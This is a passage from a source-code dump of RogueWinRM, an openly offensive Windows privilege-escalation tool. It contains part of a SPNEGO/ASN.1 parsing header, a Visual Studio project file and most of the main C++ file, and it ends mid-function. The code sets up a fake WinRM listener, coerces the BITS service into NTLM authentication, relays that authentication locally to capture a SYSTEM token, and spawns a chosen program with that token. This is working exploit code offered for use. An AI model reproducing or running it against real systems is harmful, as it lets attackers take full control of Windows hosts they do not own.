#define IDENTIFIER_CONTEXT_SPECIFIC 0x80 // 10 = context specific 38 | #define IDENTIFIER_PRIVATE 0xC0 // 11 = Private 39 | 40 | /* Encoding type */ 41 | 42 | #define FORM_MASK 0x20 /* Bit 6 */ 43 | #define PRIMITIVE 0x00 /* 0 = primitive */ 44 | #define CONSTRUCTED 0x20 /* 1 = constructed */ 45 | 46 | /* Universal tags */ 47 | 48 | #define TAG_MASK 0x1F /* Bits 5 - 1 */ 49 | #define BOOLEAN 0x01 /* 1: TRUE or FALSE */ 50 | #define INTEGER 0x02 /* 2: Arbitrary precision integer */ 51 | #define BITSTRING 0x03 /* 2: Sequence of bits */ 52 | #define OCTETSTRING 0x04 /* 4: Sequence of bytes */ 53 | #define NULLTAG 0x05 /* 5: NULL */ 54 | #define OID 0x06 /* 6: Object Identifier (numeric sequence) */ 55 | #define OBJDESCRIPTOR 0x07 /* 7: Object Descriptor (human readable) */ 56 | #define EXTERNAL 0x08 /* 8: External / Instance Of */ 57 | #define REAL 0x09 /* 9: Real (Mantissa * Base^Exponent) */ 58 | #define ENUMERATED 0x0A /* 10: Enumerated */ 59 | #define EMBEDDED_PDV 0x0B /* 11: Embedded Presentation Data Value */ 60 | #define SEQUENCE 0x10 /* 16: Constructed Sequence / Sequence Of */ 61 | #define SET 0x11 /* 17: Constructed Set / Set Of */ 62 | #define NUMERICSTR 0x12 /* 18: Numeric String (digits only) */ 63 | #define PRINTABLESTR 0x13 /* 19: Printable String */ 64 | #define T61STR 0x14 /* 20: T61 String (Teletex) */ 65 | #define VIDEOTEXSTR 0x15 /* 21: Videotex String */ 66 | #define IA5STR 0x16 /* 22: IA5 String */ 67 | #define UTCTIME 0x17 /* 23: UTC Time */ 68 | #define GENERALIZEDTIME 0x18 /* 24: Generalized Time */ 69 | #define GRAPHICSTR 0x19 /* 25: Graphic String */ 70 | #define VISIBLESTR 0x1A /* 26: Visible String (ISO 646) */ 71 | #define GENERALSTR 0x1B /* 27: General String */ 72 | #define UNIVERSALSTR 0x1C /* 28: Universal String */ 73 | #define BMPSTR 0x1E /* 30: Basic Multilingual Plane String */ 74 | 75 | /* Length encoding */ 76 | 77 | #define LEN_XTND 0x80 /* Indefinite or long form */ 78 | #define LEN_MASK 0x7f /* Bits 7 - 1 */ 79 | 80 | #define SEQ_ELM(n) (IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | ((n)&TAG_MASK)) 81 | 82 | // 83 | // SPNEGO Token Parsing Constants 84 | // 85 | 86 | 87 | // Fixed Length of NegTokenInit ReqFlags field 88 | #define SPNEGO_NEGINIT_MAXLEN_REQFLAGS 2 89 | 90 | // Difference in bits for ReqFlags token 91 | #define SPNEGO_NEGINIT_REQFLAGS_BITDIFF 1 92 | 93 | // Fixed Length of NegTokenTarg NegResult field 94 | #define SPNEGO_NEGTARG_MAXLEN_NEGRESULT 1 95 | 96 | // Application Specific Construct - Always at the start of a NegTokenInit 97 | #define SPNEGO_NEGINIT_APP_CONSTRUCT ( IDENTIFIER_APPLICATION | CONSTRUCTED ) // 0x60 98 | 99 | // Constructed Sequence token - after the actual token identifier token 100 | #define SPNEGO_CONSTRUCTED_SEQUENCE ( SEQUENCE | CONSTRUCTED ) 101 | 102 | // MechList Type Identifier 103 | #define SPNEGO_MECHLIST_TYPE ( SEQUENCE | CONSTRUCTED | OID ) 104 | 105 | // 106 | // NegTokenInit - Token Identifier and Elements 107 | // 108 | 109 | // NegTokenInit - 0xa0 110 | #define SPNEGO_NEGINIT_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \ 111 | SPNEGO_TOKEN_INIT ) 112 | 113 | // Structure elements for NegTokenInit 114 | #define SPNEGO_NEGINIT_MECHTYPES 0x0 // MechTypes is element 0 115 | #define SPNEGO_NEGINIT_REQFLAGS 0x1 // ReqFlags is element 1 116 | #define SPNEGO_NEGINIT_MECHTOKEN 0x2 // MechToken is element 2 117 | #define SPNEGO_NEGINIT_MECHLISTMIC 0x3 // MechListMIC is element 3 118 | 119 | // MechTypes element is 0xa0 120 | #define SPNEGO_NEGINIT_ELEMENT_MECHTYPES SEQ_ELM(SPNEGO_NEGINIT_MECHTYPES) 121 | // ReqFlags element is 0xa1 122 | #define SPNEGO_NEGINIT_ELEMENT_REQFLAGS SEQ_ELM(SPNEGO_NEGINIT_REQFLAGS) 123 | // MechToken element is 0xa2 124 | #define SPNEGO_NEGINIT_ELEMENT_MECHTOKEN SEQ_ELM(SPNEGO_NEGINIT_MECHTOKEN) 125 | // MechListMIC element is 0xa3 126 | #define SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGINIT_MECHLISTMIC) 127 | 128 | // 129 | // NegTokenTarg - Token Identifier and Elements 130 | // 131 | 132 | // NegTokenTarg - 0xa1 133 | #define SPNEGO_NEGTARG_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \ 134 | SPNEGO_TOKEN_TARG ) 135 | 136 | // Structure elements for NegTokenTarg 137 | #define SPNEGO_NEGTARG_NEGRESULT 0x0 // NegResult is element 0 138 | #define SPNEGO_NEGTARG_SUPPORTEDMECH 0x1 // SupportedMech is element 1 139 | #define SPNEGO_NEGTARG_RESPONSETOKEN 0x2 // ResponseToken is element 2 140 | #define SPNEGO_NEGTARG_MECHLISTMIC 0x3 // MechListMIC is element 3 141 | 142 | // NegResult element is 0xa0 143 | #define SPNEGO_NEGTARG_ELEMENT_NEGRESULT SEQ_ELM(SPNEGO_NEGTARG_NEGRESULT) 144 | // SupportedMech element is 0xa1 145 | #define SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH SEQ_ELM(SPNEGO_NEGTARG_SUPPORTEDMECH) 146 | // ResponseToken element is 0xa2 147 | #define SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN SEQ_ELM(SPNEGO_NEGTARG_RESPONSETOKEN) 148 | // MechListMIC element is 0xa3 149 | #define SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGTARG_MECHLISTMIC) 150 | 151 | // 152 | // Defines a GSS Mechanism OID. We keep a single static array 153 | // of these which we'll use for validation/searches/parsing. 154 | // 155 | 156 | typedef struct _mechOID 157 | { 158 | unsigned char* ucOid; // Byte representation of OID 159 | int iLen; // Length of the OID, length and identifier 160 | int iActualDataLen; // Length of the actual OID 161 | SPNEGO_MECH_OID eMechanismOID; // Which OID is this? 162 | } MECH_OID; 163 | 164 | 165 | // 166 | // ASN Der functions 167 | // 168 | 169 | int ASNDerGetLength(unsigned char* pbLengthData, long nBoundaryLength, long* pnLength, 170 | long* pnNumLengthBytes); 171 | int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken, 172 | long nCheckLength, long nBoundaryLength, long* pnLength, 173 | long* pnTokenLength); 174 | int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, long nBoundaryLength, 175 | long* pnTokenLength); 176 | int ASNDerCalcNumLengthBytes(long nLength); 177 | long ASNDerCalcTokenLength(long nLength, long nDataLength); 178 | long ASNDerCalcElementLength(long nDataLength, long* pnInternalLength); 179 | long ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, long* pnInternalLength); 180 | int ASNDerWriteLength(unsigned char* pbData, long nLength); 181 | int ASNDerWriteToken(unsigned char* pbData, unsigned char ucType, 182 | unsigned char* pbTokenValue, long nLength); 183 | int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID); 184 | long ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid); 185 | int ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence, 186 | unsigned char ucType, unsigned char* pbTokenValue, long nLength); 187 | 188 | 189 | // C++ Specific 190 | #if defined(__cplusplus) 191 | } 192 | #endif 193 | 194 | #endif 195 | -------------------------------------------------------------------------------- /RogueWinRM.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86} 24 | Win32Proj 25 | RoguePotato 26 | 10.0.18362.0 27 | RogueWinRM 28 | 29 | 30 | 31 | Application 32 | true 33 | v142 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v142 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v142 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | true 79 | 80 | 81 | false 82 | 83 | 84 | false 85 | 86 | 87 | 88 | 89 | 90 | Level3 91 | Disabled 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | 104 | 105 | Level3 106 | Disabled 107 | true 108 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 109 | true 110 | 111 | 112 | Console 113 | true 114 | 115 | 116 | 117 | 118 | 119 | 120 | Level3 121 | MaxSpeed 122 | true 123 | true 124 | true 125 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 126 | true 127 | MultiThreaded 128 | 129 | 130 | Console 131 | true 132 | true 133 | true 134 | 135 | 136 | 137 | 138 | 139 | 140 | Level3 141 | MaxSpeed 142 | true 143 | true 144 | true 145 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 146 | true 147 | MultiThreaded 148 | 149 | 150 | Console 151 | true 152 | true 153 | true 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /RogueWinRM.cpp: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "LocalNegotiator.h" 11 | #include "base64.h" 12 | #include "spnegotokenhandler/spnego.h" 13 | 14 | #pragma comment (lib, "Ws2_32.lib") 15 | #pragma warning(disable : 4996) //_CRT_SECURE_NO_WARNINGS 16 | 17 | struct THREAD_PARAMETERS 18 | { 19 | wchar_t* listen_port; 20 | LocalNegotiator* negotiator; 21 | bool debug; 22 | }; 23 | 24 | typedef unsigned char byte; 25 | int RunRogueWinRM(wchar_t* processname, wchar_t* listen_port, wchar_t* processargs, bool debug); 26 | void hexDump2(char* desc, void* addr, int len); 27 | int findBase64Negotiate(char* buffer, int buffer_len, byte* outbuffer, int* outbuffer_len); 28 | bool parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned long* parsedTokenLen); 29 | bool genNegTokenTarg(unsigned char* ntlmssp, int ntlmssp_len, unsigned char** generatedToken, unsigned long* generatedTokenLen); 30 | int processNtlmBytes(char* bytes, int len, LocalNegotiator* negotiator); 31 | BOOL EnablePriv(HANDLE hToken, LPCTSTR priv); 32 | int IsTokenSystem(HANDLE tok); 33 | void SocketError(SOCKET); 34 | bool isBitsRunning(void); 35 | bool triggerBits(void); 36 | HANDLE startListenerThread(wchar_t* listen_port, LocalNegotiator* negotiator, bool debug); 37 | void startListener(LPVOID threadParameters); 38 | 39 | void usage() 40 | { 41 | printf("\nRogueWinRM \n\n"); 42 | 43 | printf("Mandatory args: \n" 44 | "-p : program to launch\n" 45 | ); 46 | printf("\nOptional args: \n" 47 | "-a : command line argument to pass to program (default NULL)\n" 48 | "-l : listening port (default 5985 WinRM)\n" 49 | "-d : Enable Debugging output\n" 50 | ); 51 | } 52 | 53 | int wmain(int argc, wchar_t** argv) 54 | { 55 | wchar_t* processargs = NULL; 56 | wchar_t* processname = NULL; 57 | wchar_t* listen_port = NULL; 58 | wchar_t default_listen_port[] = L"5985"; 59 | bool debug = false; 60 | while ((argc > 1) && (argv[1][0] == '-')) 61 | { 62 | switch (argv[1][1]) 63 | { 64 | case 'p': 65 | ++argv; 66 | --argc; 67 | processname = argv[1]; 68 | break; 69 | case 'a': 70 | ++argv; 71 | --argc; 72 | processargs = argv[1]; 73 | break; 74 | case 'l': 75 | ++argv; 76 | --argc; 77 | listen_port = argv[1]; 78 | break; 79 | case 'd': 80 | ++argv; 81 | --argc; 82 | debug = true; 83 | break; 84 | default: 85 | printf("Wrong Argument: %s\n", argv[1]); 86 | usage(); 87 | exit(-1); 88 | } 89 | ++argv; 90 | --argc; 91 | } 92 | if (processname == NULL) { 93 | usage(); 94 | exit(-1); 95 | } 96 | 97 | // Default WinRM port 98 | if (listen_port == NULL) 99 | listen_port = default_listen_port; 100 | 101 | exit(RunRogueWinRM(processname, listen_port, processargs, debug)); 102 | return 0; 103 | } 104 | 105 | int RunRogueWinRM(wchar_t* processname, wchar_t* listen_port, wchar_t *processargs, bool debug) { 106 | LocalNegotiator* negotiator = new LocalNegotiator(); 107 | bool bitsRunning = true; 108 | bool triggerBitsStatus = false; 109 | HANDLE hThread = startListenerThread(listen_port, negotiator, debug); 110 | Sleep(1000); 111 | do { 112 | bitsRunning = isBitsRunning(); 113 | if (bitsRunning) 114 | Sleep(30000); 115 | } while (bitsRunning); 116 | triggerBitsStatus = triggerBits(); 117 | if (!triggerBitsStatus) { 118 | printf("\nCannot activate BITS object. Exiting...\n"); 119 | exit(-1); 120 | } 121 | else 122 | printf("\nBITS triggered!\n"); 123 | 124 | BOOL result = false; 125 | int ret = 0; 126 | HANDLE elevated_token, duped_token; 127 | 128 | if (negotiator->authResult != -1) 129 | { 130 | HANDLE hToken; 131 | TOKEN_PRIVILEGES tkp; 132 | SECURITY_DESCRIPTOR sdSecurityDescriptor; 133 | printf("\n[+] authresult %d\n", negotiator->authResult); 134 | 135 | fflush(stdout); 136 | 137 | // Get a token for this process. 138 | if (!OpenProcessToken(GetCurrentProcess(), 139 | TOKEN_ALL_ACCESS, &hToken))return 0; 140 | 141 | //enable privileges 142 | EnablePriv(hToken, SE_IMPERSONATE_NAME); 143 | EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME); 144 | PTOKEN_TYPE ptg; 145 | DWORD dwl = 0; 146 | HANDLE hProcessToken; 147 | OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, 148 | &hProcessToken); 149 | 150 | QuerySecurityContextToken(negotiator->phContext, &elevated_token); 151 | IsTokenSystem(elevated_token); 152 | 153 | GetTokenInformation(elevated_token, TokenType, &ptg, sizeof(TOKEN_TYPE), &dwl); 154 | if (!dwl) 155 | printf("[-] Error getting token type: error code 0x%lx\n", GetLastError()); 156 | 157 | result = DuplicateTokenEx(elevated_token, 158 | TOKEN_ALL_ACCESS, 159 | NULL, 160 | SecurityImpersonation, 161 | TokenPrimary, 162 | &duped_token); 163 | 164 | 165 | GetTokenInformation(duped_token, TokenType, &ptg, sizeof(TOKEN_TYPE), &dwl); 166 | if (!dwl) 167 | printf("Error getting token type: error code 0x%lx\n", GetLastError()); 168 | 169 | DWORD SessionId; 170 | PROCESS_INFORMATION pi; 171 | STARTUPINFO si; 172 | SECURITY_ATTRIBUTES sa; 173 | 174 | ZeroMemory(&si, sizeof(STARTUPINFO)); 175 | ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); 176 | memset(&pi, 0x00, sizeof(PROCESS_INFORMATION)); 177 | si.cb = sizeof(STARTUPINFO); 178 | si.lpDesktop = (LPWSTR)L"winsta0\\default"; 179 | 180 | DWORD sessionId = WTSGetActiveConsoleSessionId(); 181 | 182 | fflush(stdout); 183 | wchar_t command[256]; 184 | wcscpy(command, processname); 185 | 186 | if (processargs != NULL) 187 | { 188 | wcsncat(command, L" ", 1); 189 | wcsncat(command, processargs, wcslen(processargs)); 190 | } 191 | 192 | //could be also the elevated_token 193 | result = CreateProcessWithTokenW(duped_token, 194 | 0, 195 | processname, 196 | command, 197 | 0, 198 | NULL, 199 | NULL, 200 | &si, 201 | &pi); 202 | 203 | if (!result) 204 | { 205 | printf("\n[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError()); 206 | } 207 | else 208 | { 209 | printf("\n[+] CreateProcessWithTokenW OK\n"); 210 | return 0; 211 | } 212 | 213 | 214 | result = CreateProcessAsUserW( 215 | duped_token, 216 | processname, 217 | command, 218 | nullptr, nullptr, 219 | FALSE, 0, nullptr, 220 | L"C:\\", &si, &pi 221 | ); 222 | 223 | if (!result) { 224 | printf("\n[-] CreateProcessAsUser Failed to create proc: %d\n", GetLastError()); 225 | return -1; 226 | } 227 | else { 228 | printf("\n[+] CreateProcessAsUser OK\n"); 229 | } 230 | 231 | } 232 | else 233 | printf("\nError: No Authenticaton received... negotiator->authResult != -1\n"); 234 | CloseHandle(hThread); 235 | return 0; 236 | } 237 | 238 | void SocketError(SOCKET Socket) { 239 | printf("\nSocket error.. WSAGetLastError: %d\n", WSAGetLastError()); 240 | shutdown(Socket, SD_SEND); 241 | WSACleanup(); 242 | exit(-1); 243 | } 244 | 245 | void startListener(LPVOID threadParameters) { 246 | THREAD_PARAMETERS* thread_params = (THREAD_PARAMETERS*)threadParameters; 247 | wchar_t* listen_port = thread_params->listen_port; 248 | LocalNegotiator* negotiator = thread_params->negotiator; 249 | bool debug = thread_params->debug; 250 | WSADATA wsaData; 251 | int iResult; 252 | char listen_port_a[12]; 253 | const int DEFAULT_BUFLEN = 4096; 254 | 255 | SOCKET ListenSocket = INVALID_SOCKET; 256 | SOCKET ClientSocket = INVALID_SOCKET; 257 | 258 | struct addrinfo* result = NULL; 259 | struct addrinfo hints; 260 | 261 | int iSendResult; 262 | char recvbuf[DEFAULT_BUFLEN]; 263 | int recvbuflen = DEFAULT_BUFLEN; 264 | 265 | // Initialize Winsock 266 | iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); 267 | if (iResult != 0) { 268 | printf("WSAStartup failed with error: %d\n", iResult); 269 | exit(-1); 270 | } 271 | 272 | ZeroMemory(&hints, sizeof(hints)); 273 | hints.ai_family = AF_INET; 274 | hints.ai_socktype = SOCK_STREAM; 275 | hints.ai_protocol = IPPROTO_TCP; 276 | hints.ai_flags = AI_PASSIVE; 277 | 278 | memset(listen_port_a, 0, 12); 279 | wcstombs(listen_port_a, listen_port, 12); 280 | 281 | // Resolve the server address and port 282 | iResult = getaddrinfo(NULL, listen_port_a, &hints, &result); 283 | if (iResult != 0) { 284 | printf("getaddrinfo failed with error: %d\n", iResult); 285 | WSACleanup(); 286 | exit(-1); 287 | } 288 | 289 | // Create a SOCKET for connecting to server 290 | ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); 291 | if (ListenSocket == INVALID_SOCKET) { 292 | printf("socket failed with error: %ld\n", WSAGetLastError()); 293 | freeaddrinfo(result); 294 | WSACleanup(); 295 | exit(-1); 296 | } 297 | 298 | // Setup the TCP listening socket 299 | iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); 300 | if (iResult == SOCKET_ERROR) { 301 | if (wcscmp(listen_port, L"5985") == 0) { 302 | printf("Error: WinRM already running on port 5985. Unexploitable!\n"); 303 | } 304 | printf("bind failed with error: %d\n", WSAGetLastError()); 305 | freeaddrinfo(result); 306 | closesocket(ListenSocket); 307 | WSACleanup(); 308 | exit(-1); 309 | } 310 | 311 | freeaddrinfo(result); 312 | 313 | iResult = listen(ListenSocket, SOMAXCONN); 314 | if (iResult == SOCKET_ERROR) { 315 | printf("listen failed with error: %d\n", WSAGetLastError()); 316 | closesocket(ListenSocket); 317 | WSACleanup(); 318 | exit(-1); 319 | } 320 | 321 | // Accept a client socket 322 | ClientSocket = accept(ListenSocket, NULL, NULL); 323 | if (ClientSocket == INVALID_SOCKET) { 324 | printf("accept failed with error: %d\n", WSAGetLastError()); 325 | closesocket(ListenSocket); 326 | WSACleanup(); 327 | exit(-1); 328 | } 329 | 330 | // No longer need server socket 331 | closesocket(ListenSocket); 332 | 333 | //variables for handling ntlm authentication over http 334 | byte base64_spnego_token[4192]; 335 | int base64spnego_token_len = 0; 336 | bool spnegoResult = false; 337 | unsigned char* spnego_NegTokenInit_request; 338 | size_t spnego_NegTokenInit_request_len = 0; 339 | unsigned char* ntlmssp_request = NULL; 340 | size_t ntlmssp_request_len = 0; 341 | char* ntlmssp_type2; 342 | size_t ntlmssp_type2_b64_len = 0; 343 | char* ntlmssp_type2_b64; 344 | unsigned long ntlmssp_type2_len = 0; 345 | byte base64_ntlmssp_authorization[4192]; 346 | int base64_ntlmssp_authorization_len; 347 | unsigned char* spnego_NegTokenTarg_response; 348 | size_t spnego_NegTokenTarg_response_len = 0; 349 | unsigned char* ntlmssp_authorization; 350 | size_t ntlmssp_authorization_len = 0; 351 | char* ntlmssp_type2_full; 352 | int ntlmssp_type2_full_len; 353 | char http_response_type2_head[] = "HTTP/1.1 401 \r\nWWW-Authenticate: Negotiate "; 354 | char http_response_type2_tail[] = "\r\nServer: Microsoft-HTTPAPI/2.0\r\nContent-Length: 0\r\n\r\n"; 355 | char* http_response_type2_packet; 356 | int http_response_type2_packet_len; 357 | 358 | iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); 359 | if (iResult <= 0) SocketError(ClientSocket); 360 | printf("\nReceived http negotiate request\n"); 361 | if (debug) { 362 | printf("\nHexdump of received packet:\n"); 363 | hexDump2(NULL, recvbuf, iResult); 364 | } 365 | //parsing the base64 of SPNEGO request 366 | findBase64Negotiate(recvbuf, iResult, base64_spnego_token, &base64spnego_token_len); 367 | //decoding the base64 of SPNEGO NegTokenInit 368 | spnego_NegTokenInit_request = base64_decode((const char*)base64_spnego_token, base64spnego_token_len, &spnego_NegTokenInit_request_len); 369 | //parsing the ntlmssp from the SPNEGO NegTokenInit token 370 | spnegoResult = parseNegToken(spnego_NegTokenInit_request, spnego_NegTokenInit_request_len, &ntlmssp_request, (unsigned long*)&ntlmssp_request_len); 371 | if (!spnegoResult) { 372 | shutdown(ClientSocket, SD_SEND); 373 | WSACleanup(); 374 | exit(-1); 375 | } 376 | //calling AcceptSecurityContext() on the challenge request 377 | processNtlmBytes((char*)ntlmssp_request, ntlmssp_request_len, negotiator); 378 | ntlmssp_type2 = negotiator->returnType2(&ntlmssp_type2_len); 379 | //forging ntlmssp challenge response 380 | spnegoResult = genNegTokenTarg((unsigned char *)ntlmssp_type2, ntlmssp_type2_len, (unsigned char **)&ntlmssp_type2_full, (unsigned long*)&ntlmssp_type2_full_len); 381 | if (!spnegoResult) { 382 | shutdown(ClientSocket, SD_SEND); 383 | WSACleanup(); 384 | exit(-1); 385 | } 386 | //encoding ntlmssp challenge response 387 | ntlmssp_type2_b64 = base64_encode((const unsigned char*)ntlmssp_type2_full, (size_t)ntlmssp_type2_full_len, &ntlmssp_type2_b64_len); 388 | //forging http response packet 401 with type 2 ntlm chellenge response 389 | http_response_type2_packet_len = sizeof(http_response_type2_head) + ntlmssp_type2_b64_len + sizeof(http_response_type2_tail); 390 | http_response_type2_packet = (char*)malloc(http_response_type2_packet_len); 391 | memcpy(http_response_type2_packet, http_response_type2_head, sizeof(http_response_type2_head)); 392 | memcpy((http_response_type2_packet + sizeof(http_response_type2_head) - 1), ntlmssp_type2_b64, ntlmssp_type2_b64_len); 393 | memcpy((http_response_type2_packet + sizeof(http_response_type2_head) + ntlmssp_type2_b64_len - 1), http_response_type2_tail, sizeof(http_response_type2_tail)); 394 | if (debug) { 395 | printf("\nHexdump of http_response_type2_packet:\n"); 396 | hexDump2(NULL, http_response_type2_packet, http_response_type2_packet_len); 397 | } 398 | printf("\nSending the 401 http response with ntlm type 2 challenge\n"); 399 | iResult = send(ClientSocket, http_response_type2_packet, http_response_type2_packet_len - 2, 0); 400 | if (iResult <= 0) SocketError(ClientSocket); 401 | iResult = recv(ClientSocket, recvbuf, 4096, 0); 402 | if (iResult <= 0) SocketError(ClientSocket); 403 | printf("\nReceived http packet with ntlm type3 response\n"); 404 | if (debug) { 405 | printf("\nHexdump of received packet http_request_type3_packet:\n"); 406 | hexDump2(NULL, recvbuf, iResult); 407 | } 408 | printf("\nUsing ntlm type3 response in AcceptSecurityContext()\n"); 409 | findBase64Negotiate(recvbuf, iResult, base64_ntlmssp_authorization, &base64_ntlmssp_authorization_len); 410 | spnego_NegTokenTarg_response = base64_decode((const char*)base64_ntlmssp_authorization, base64_ntlmssp_authorization_len, &spnego_NegTokenTarg_response_len); 411 | spnegoResult = parseNegToken(spnego_NegTokenTarg_response, spnego_NegTokenTarg_response_len, &ntlmssp_authorization, (unsigned long*)&ntlmssp_authorization_len); 412 | processNtlmBytes((char*)ntlmssp_authorization, ntlmssp_authorization_len, negotiator); 413 | shutdown(ClientSocket, SD_SEND); 414 | WSACleanup(); 415 | } 416 | 417 | void hexDump2(char* desc, void* addr, int len) { 418 | int i; 419 | unsigned char buff[17]; 420 | unsigned char* pc = (unsigned char*)addr; 421 | 422 | // Output description if given. 423 | if (desc != NULL) 424 | printf("%s:\n", desc); 425 | 426 | if (len == 0) { 427 | printf(" ZERO LENGTH\n"); 428 | return; 429 | } 430 | if (len < 0) { 431 | printf(" NEGATIVE LENGTH: %i\n", len); 432 | return; 433 | } 434 | 435 | // Process every byte in the data. 436 | for (i = 0; i < len; i++) { 437 | // Multiple of 16 means new line (with line offset). 438 | 439 | if ((i % 16) == 0) { 440 | // Just don't print ASCII for the zeroth line. 441 | if (i != 0) 442 | printf(" %s\n", buff); 443 | 444 | // Output the offset. 445 | printf(" %04x ", i); 446 | } 447 | 448 | // Now the hex code for the specific character. 449 | printf(" %02x", pc[i]); 450 | 451 | // And store a printable ASCII character for later. 452 | if ((pc[i] < 0x20) || (pc[i] > 0x7e)) 453 | buff[i % 16] = '.'; 454 | else 455 | buff[i % 16] = pc[i]; 456 | buff[(i % 16) + 1] = '\0'; 457 | } 458 | 459 | // Pad out last line if not exactly 16 characters. 460 | while ((i % 16) != 0) { 461 | printf(" "); 462 | i++; 463 | } 464 | 465 | // And print the final ASCII bit. 466 | printf(" %s\n", buff); 467 | } 468 | 469 | 470 | int findBase64Negotiate(char* buffer, int buffer_len, byte* outbuffer, int* outbuffer_len) { 471 | char pattern_head[10] = { 'N', 'e', 'g', 'o', 't', 'i', 'a', 't', 'e', ' ' }; 472 | char pattern_tail[2] = { 0x0D, 0x0A }; // \r\n 473 | int index_start = 0; 474 | for (int i = 0; i < buffer_len; i++) { 475 | } 476 | for (int i = 0; i < buffer_len; i++) { 477 | if (buffer[i] == pattern_head[index_start]) { 478 | index_start = index_start + 1; 479 | if (index_start == sizeof(pattern_head)) { 480 | index_start = i + 1; 481 | break; 482 | } 483 | } 484 | } 485 | *outbuffer_len = 0; 486 | for (int i = index_start; i < buffer_len; i++) { 487 | if (buffer[i] == pattern_tail[0] && buffer[i + 1] == pattern_tail[1]) { 488 | break; 489 | } 490 | outbuffer[(*outbuffer_len)] = buffer[i]; 491 | *outbuffer_len = (*outbuffer_len) + 1; 492 | } 493 | //printf("*outbuffer_len: %d and index_start: %d", *outbuffer_len,index_start); 494 | //hexDump2(NULL, outbuffer, *outbuffer_len); 495 | return 0; 496 | } 497 | 498 | int processNtlmBytes(char* bytes, int len, LocalNegotiator* negotiator) { 499 | int messageType = bytes[8]; 500 | switch (messageType) { 501 | case 1: 502 | //NTLM type 1 message 503 | negotiator->handleType1(bytes, len); 504 | break; 505 | case 3: 506 | //NTLM type 3 message 507 | negotiator->handleType3(bytes, len); 508 | break; 509 | default: 510 | printf("Error - Unknown NTLM message type..."); 511 | return -1; 512 | break; 513 | } 514 | return 0; 515 | } 516 | 517 | bool parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned long *parsedTokenLen) { 518 | SPNEGO_TOKEN_HANDLE hSpnegoToken = NULL; 519 | int nError = 0L; 520 | unsigned char* pbMechToken = NULL; 521 | 522 | if (spnegoInitFromBinary(token, tokenSize, &hSpnegoToken) != SPNEGO_E_SUCCESS){ 523 | printf("\nCannot parse SPNEGO NegTokenInit token\n"); 524 | return false; 525 | } 526 | 527 | nError = spnegoGetMechToken(hSpnegoToken, NULL, parsedTokenLen); 528 | if (SPNEGO_E_BUFFER_TOO_SMALL == nError) 529 | { 530 | 531 | // Allocate a properly sized buffer and retry. 532 | pbMechToken = (unsigned char*)malloc(*parsedTokenLen); 533 | 534 | if (spnegoGetMechToken(hSpnegoToken, pbMechToken, parsedTokenLen)!= SPNEGO_E_SUCCESS) 535 | { 536 | printf("\nCannot get MechToken content from SPNEGO NegTokenInit token\n"); 537 | return false; 538 | } 539 | } 540 | *parsedToken = pbMechToken; 541 | return true; 542 | } 543 | 544 | bool genNegTokenTarg(unsigned char* ntlmssp, int ntlmssp_len, unsigned char** generatedToken, unsigned long* generatedTokenLen) { 545 | unsigned char* pbRespToken = NULL; 546 | unsigned long ulRespTokenLen = 0L; 547 | int nError = 0L; 548 | SPNEGO_TOKEN_HANDLE hSpnegoResponseToken = NULL; 549 | SPNEGO_MECH_OID spnegoMechOID = spnego_mech_oid_NTLMSSP; 550 | SPNEGO_NEGRESULT spnegoNegResult = spnego_negresult_incomplete; 551 | 552 | // Create the Token and then extract the binary. 553 | if (spnegoCreateNegTokenTarg(spnegoMechOID, spnegoNegResult, ntlmssp, ntlmssp_len, NULL, 0L, &hSpnegoResponseToken) != SPNEGO_E_SUCCESS) 554 | { 555 | printf("\nCannot create SPNEGO NegTokenTarg token\n"); 556 | return false; 557 | } 558 | if (spnegoTokenGetBinary(hSpnegoResponseToken, NULL, generatedTokenLen)== 